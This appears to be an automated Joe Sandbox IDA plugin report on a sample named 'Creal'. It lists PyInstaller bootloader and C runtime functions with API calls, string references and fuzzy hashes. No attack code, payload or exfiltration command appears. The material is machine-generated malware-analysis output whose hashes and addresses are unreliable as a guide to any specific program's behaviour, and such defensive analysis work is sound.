Opcode Fuzzy Hash: 2b2a4badfdaa60d9abfb93841dcb65d735c0fc58e4118d1b5c2a51383b6331b7
Instruction Fuzzy Hash: 89E1B273A08B8296EB60AF25D4403ADF7A0FB44788FA40135EE4D57B95DF39E480D726

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B686B0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF738B6101D), ref: 00007FF738B68747
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF738B6101D), ref: 00007FF738B6879E

Strings

Out of memory., xrefs: 00007FF738B687CF
Failed to get UTF-8 buffer size., xrefs: 00007FF738B687DF
Failed to encode wchar_t as UTF-8., xrefs: 00007FF738B687C6
win32_utils_to_utf8, xrefs: 00007FF738B687D6
WideCharToMultiByte, xrefs: 00007FF738B687E6

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 3d8cc197ee630c3fb00dd31b72f24074ca9fe52add05c6a83a64952da4f63ba4
Instruction ID: 714568dba4d889703655234b5566ab17b0873d33e58ada5236b9e01aa2653839
Opcode Fuzzy Hash: 3d8cc197ee630c3fb00dd31b72f24074ca9fe52add05c6a83a64952da4f63ba4
Instruction Fuzzy Hash: 9D41BE33A08B8392E620EF15B84017AF7A1FB887A0F944135EA8D47B95DF3DD141E719

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B68BF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF738B639EA), ref: 00007FF738B68C31

Part of subcall function 00007FF738B629E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF738B687F2,?,?,?,?,?,?,?,?,?,?,?,00007FF738B6101D), ref: 00007FF738B62A14
Part of subcall function 00007FF738B629E0: MessageBoxW.USER32 ref: 00007FF738B62AF0

WideCharToMultiByte.KERNEL32(?,00007FF738B639EA), ref: 00007FF738B68CA5

Strings

Out of memory., xrefs: 00007FF738B68C6B
Failed to get UTF-8 buffer size., xrefs: 00007FF738B68C3E
Failed to encode wchar_t as UTF-8., xrefs: 00007FF738B68CAF
win32_utils_to_utf8, xrefs: 00007FF738B68C72
WideCharToMultiByte, xrefs: 00007FF738B68C45, 00007FF738B68CB6

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: 93215b2962e715be9f5aa91d99be70836a612e16585fb8aee950a2577366c4a3
Instruction ID: 331a4a4463abaf65ea7fb26790ae43cc18867790e5ade0d6607667268d1de2ea
Opcode Fuzzy Hash: 93215b2962e715be9f5aa91d99be70836a612e16585fb8aee950a2577366c4a3
Instruction Fuzzy Hash: 8C219E33A09B43A5EB10EF26A840079F661EF84BD0B98413ADA4D47794EF3DE505A719

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B675A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF738B67716

Part of subcall function 00007FF738B70250: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B70264

Part of subcall function 00007FF738B70224: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B70238

Strings

\, xrefs: 00007FF738B675EC
%s%c%s, xrefs: 00007FF738B675E5
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF738B67632
WARNING: file already exists but should not: %s, xrefs: 00007FF738B67698
ERROR: file already exists but should not: %s, xrefs: 00007FF738B6767C

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: 40dd440894539f1d8ac80edb5c7ba5c5e6a461136feeb03e54bfd2cffc164895
Instruction ID: dc2da948ffb58d0cbe0494853558cfccc5d9eea370fe42df20d5b1cfddeb6c07
Opcode Fuzzy Hash: 40dd440894539f1d8ac80edb5c7ba5c5e6a461136feeb03e54bfd2cffc164895
Instruction Fuzzy Hash: FC51C323A0E64362FA10B72599102B9D2915F85BD0FC80231FD0D877D6EE7EE501A37E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B67420 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF738B68AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF738B62ABB), ref: 00007FF738B68B1A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF738B679A1,00000000,?,00000000,00000000,?,00007FF738B6154F), ref: 00007FF738B6747F

Part of subcall function 00007FF738B62B30: MessageBoxW.USER32 ref: 00007FF738B62C05

Strings

LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF738B67493
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF738B674DA
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF738B67456

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 5e8575f0beacdb372a81e9debe9bb6d766e8e255e7029f60019f70bf69282784
Instruction ID: 94bbf1bd8cea5a589f7c75117f326484eda01e650fee6e25c8eb62ef4abfe22f
Opcode Fuzzy Hash: 5e8575f0beacdb372a81e9debe9bb6d766e8e255e7029f60019f70bf69282784
Instruction Fuzzy Hash: 4D31C953B1C78361FA20F725D4553BAD290AF987C0FC40436DA4E43796EE3EE104A62E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6DDB8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF738B6E06A,?,?,?,00007FF738B6DD5C,?,?,00000001,00007FF738B6D979), ref: 00007FF738B6DE3D
GetLastError.KERNEL32(?,?,?,00007FF738B6E06A,?,?,?,00007FF738B6DD5C,?,?,00000001,00007FF738B6D979), ref: 00007FF738B6DE4B
LoadLibraryExW.KERNEL32(?,?,?,00007FF738B6E06A,?,?,?,00007FF738B6DD5C,?,?,00000001,00007FF738B6D979), ref: 00007FF738B6DE75
FreeLibrary.KERNEL32(?,?,?,00007FF738B6E06A,?,?,?,00007FF738B6DD5C,?,?,00000001,00007FF738B6D979), ref: 00007FF738B6DEBB
GetProcAddress.KERNEL32(?,?,?,00007FF738B6E06A,?,?,?,00007FF738B6DD5C,?,?,00000001,00007FF738B6D979), ref: 00007FF738B6DEC7

Strings

api-ms-, xrefs: 00007FF738B6DE5D

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: fa40dd5a34ae4d0b6736a9b6b46f8404287a490a05e4db78c585315ae40f634e
Instruction ID: 9e5bdc17ed6f0accfe4ea98b77b51de1fbd7170ffa9570c0eb323107e2b89de7
Opcode Fuzzy Hash: fa40dd5a34ae4d0b6736a9b6b46f8404287a490a05e4db78c585315ae40f634e
Instruction Fuzzy Hash: 1731C623F1A643A1EE51FB12A800575E394BF58BA0F9D0535DD3D2A350DF3EE4419329

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B68AE0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF738B62ABB), ref: 00007FF738B68B1A

Part of subcall function 00007FF738B629E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF738B687F2,?,?,?,?,?,?,?,?,?,?,?,00007FF738B6101D), ref: 00007FF738B62A14
Part of subcall function 00007FF738B629E0: MessageBoxW.USER32 ref: 00007FF738B62AF0

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF738B62ABB), ref: 00007FF738B68BA0

Strings

Out of memory., xrefs: 00007FF738B68B62
win32_utils_from_utf8, xrefs: 00007FF738B68B69
Failed to decode wchar_t from UTF-8, xrefs: 00007FF738B68BAA
Failed to get wchar_t buffer size., xrefs: 00007FF738B68B27
MultiByteToWideChar, xrefs: 00007FF738B68B2E, 00007FF738B68BB1

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: 2a7f0904e5ec1897560545d2159a663e9c273eaf1fea03a0d1ae7df506dc6c73
Instruction ID: 5ce0894d723518755f64ef34ac06e26332917fb5b934d362de1ffbc2445c7c90
Opcode Fuzzy Hash: 2a7f0904e5ec1897560545d2159a663e9c273eaf1fea03a0d1ae7df506dc6c73
Instruction Fuzzy Hash: AC216163B18A8391EB50EB29F800069E361FF847D4B9C4136DB5C83BA9EE3ED5419719

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7B710 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF738B7B71F
FlsGetValue.KERNEL32 ref: 00007FF738B7B734
FlsSetValue.KERNEL32 ref: 00007FF738B7B755
FlsSetValue.KERNEL32 ref: 00007FF738B7B782
FlsSetValue.KERNEL32 ref: 00007FF738B7B793
FlsSetValue.KERNEL32 ref: 00007FF738B7B7A4
SetLastError.KERNEL32 ref: 00007FF738B7B7BF

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: c9a9910be8e6a8f267b34ede12a46163d54850e7bd0e74159c6dc909401f62ca
Instruction ID: a782646351d009421e7602edd09af59cfbf5cf1796b48c7284d36081d5fd845f
Opcode Fuzzy Hash: c9a9910be8e6a8f267b34ede12a46163d54850e7bd0e74159c6dc909401f62ca
Instruction Fuzzy Hash: B8217C26A0C34362FA587739965513AE6525F44BB0F900734F83E46BD6DE3EF4016A2F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B885BC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF738B885ED
GetLastError.KERNEL32 ref: 00007FF738B885F9
CloseHandle.KERNEL32 ref: 00007FF738B88611
CreateFileW.KERNEL32 ref: 00007FF738B8863C
WriteConsoleW.KERNEL32 ref: 00007FF738B8865B

Strings

CONOUT$, xrefs: 00007FF738B8861D

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 47774de373198f8681994077b4026dd9a590ed4534763da2009e0dd4878e84a9
Instruction ID: 92c6c872c44dff3c771755ae1da37f1a760fab186aa161892604014e5e82d3c8
Opcode Fuzzy Hash: 47774de373198f8681994077b4026dd9a590ed4534763da2009e0dd4878e84a9
Instruction Fuzzy Hash: 8911E922B18B8396E750AB12F854729F7A0FB48FE0F800238D92D877A4CF7DD4048759

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7B888 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF738B754CD,?,?,?,?,00007FF738B7F1BF,?,?,00000000,00007FF738B7B9A6,?,?,?), ref: 00007FF738B7B897
FlsSetValue.KERNEL32(?,?,?,00007FF738B754CD,?,?,?,?,00007FF738B7F1BF,?,?,00000000,00007FF738B7B9A6,?,?,?), ref: 00007FF738B7B8CD
FlsSetValue.KERNEL32(?,?,?,00007FF738B754CD,?,?,?,?,00007FF738B7F1BF,?,?,00000000,00007FF738B7B9A6,?,?,?), ref: 00007FF738B7B8FA
FlsSetValue.KERNEL32(?,?,?,00007FF738B754CD,?,?,?,?,00007FF738B7F1BF,?,?,00000000,00007FF738B7B9A6,?,?,?), ref: 00007FF738B7B90B
FlsSetValue.KERNEL32(?,?,?,00007FF738B754CD,?,?,?,?,00007FF738B7F1BF,?,?,00000000,00007FF738B7B9A6,?,?,?), ref: 00007FF738B7B91C
SetLastError.KERNEL32(?,?,?,00007FF738B754CD,?,?,?,?,00007FF738B7F1BF,?,?,00000000,00007FF738B7B9A6,?,?,?), ref: 00007FF738B7B937

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1d21de8c11cfa0069501ec1d2894ae4e84fc1f9cfc7a545752d330d2ad901844
Instruction ID: dfee49d11ed8c2ad66015e9325b01dc5fdb0f73d28d6f54a736dc06666a71d2b
Opcode Fuzzy Hash: 1d21de8c11cfa0069501ec1d2894ae4e84fc1f9cfc7a545752d330d2ad901844
Instruction Fuzzy Hash: DD116D22A0C78362FA547739964513AE2519F487B0FD40734F83E467D6EE7EF4016A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B6D778 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF738B6D7A3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF738B6D838
RtlUnwindEx.KERNEL32 ref: 00007FF738B6D887

Strings

csm, xrefs: 00007FF738B6D81E
f, xrefs: 00007FF738B6D7B6

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: c8f7f253a213423ff5db8842e39d1181b4fa0cc0edf0f0e27fe70a45a9ca17df
Instruction ID: 0f83dab50fa335820dcc1578a7833ed0e670ea33a1737acf88147d52f14a4f09
Opcode Fuzzy Hash: c8f7f253a213423ff5db8842e39d1181b4fa0cc0edf0f0e27fe70a45a9ca17df
Instruction Fuzzy Hash: 6E510333A19603EAD714EB16E404A29F795FB40BD4F988034DA4E67789DF3BE840D729

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B62600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF738B627EF), ref: 00007FF738B62638
DialogBoxIndirectParamW.USER32 ref: 00007FF738B626FC
DeleteObject.GDI32 ref: 00007FF738B6272F
DestroyIcon.USER32 ref: 00007FF738B62741

Strings

Unhandled exception in script, xrefs: 00007FF738B62668

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: ef2f79dabe8b940bf64869f24e404b0ac86445532df2e67e8084f44f9f65f5c2
Instruction ID: 08079f8765d38c4ea14b3f5572c14b2a4b440dc4ef1511c0379ef4f73e431080
Opcode Fuzzy Hash: ef2f79dabe8b940bf64869f24e404b0ac86445532df2e67e8084f44f9f65f5c2
Instruction Fuzzy Hash: 89316D33609A8399EB20EB25E8551F9E360FF88784F800135EA4D4BA69DF3DD105D716

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B629E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF738B687F2,?,?,?,?,?,?,?,?,?,?,?,00007FF738B6101D), ref: 00007FF738B62A14

Part of subcall function 00007FF738B68560: GetLastError.KERNEL32(00000000,00007FF738B62A5E,?,?,?,?,?,?,?,?,?,?,?,00007FF738B6101D), ref: 00007FF738B68587
Part of subcall function 00007FF738B68560: FormatMessageW.KERNEL32 ref: 00007FF738B685B6

Part of subcall function 00007FF738B68AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF738B62ABB), ref: 00007FF738B68B1A

MessageBoxW.USER32 ref: 00007FF738B62AF0
MessageBoxA.USER32 ref: 00007FF738B62B0C

Strings

Fatal error detected, xrefs: 00007FF738B62AC6, 00007FF738B62AFE
%s%s: %s, xrefs: 00007FF738B62A6B

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: c01ac0bbfceecfac493be67ae1d6a2211250b6a817a0c50f994bc812b65e1c92
Instruction ID: dd5c17d7c8e7252cef119905d59b4cf7e418316eba31dfa3b3e7c5ec178eabde
Opcode Fuzzy Hash: c01ac0bbfceecfac493be67ae1d6a2211250b6a817a0c50f994bc812b65e1c92
Instruction Fuzzy Hash: A1316673628A83A1E630EB20E4516DAE364FF847C4F804036EA8D53A59DF3DD705DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B7A018 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF738B7A03D
GetProcAddress.KERNEL32 ref: 00007FF738B7A053
FreeLibrary.KERNEL32 ref: 00007FF738B7A07A

Strings

CorExitProcess, xrefs: 00007FF738B7A04C
mscoree.dll, xrefs: 00007FF738B7A034

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bbe3d75c1d18d9b252fc65a249d413b32bc9fbcf71b4c61f8ce4d80949566840
Instruction ID: 4e565555feb6154b7c60869d3617b5f26619b9eea2b1f8654420f6d09c93d6a8
Opcode Fuzzy Hash: bbe3d75c1d18d9b252fc65a249d413b32bc9fbcf71b4c61f8ce4d80949566840
Instruction Fuzzy Hash: FFF0AF22A19703A1FA50AB34E84437AE360AF48760FD40639D57E461F5CF3EE084E36A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B89C40 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF738B89C68
_set_statfp.LIBCMT ref: 00007FF738B89C83
_set_statfp.LIBCMT ref: 00007FF738B89C9F
_set_statfp.LIBCMT ref: 00007FF738B89CDB

Memory Dump Source

Source File: 00000012.00000002.2246627785.00007FF738B61000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FF738B60000, based on PE: true

Associated: 00000012.00000002.2246568752.00007FF738B60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246706687.00007FF738B8B000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738B9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246770600.00007FF738BA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000012.00000002.2246887385.00007FF738BA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff738b60000_Creal.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction ID: 32746c57502e18798d5fcc8f63f37488262ba61578b9f9be9ae71776efda6a9d
Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
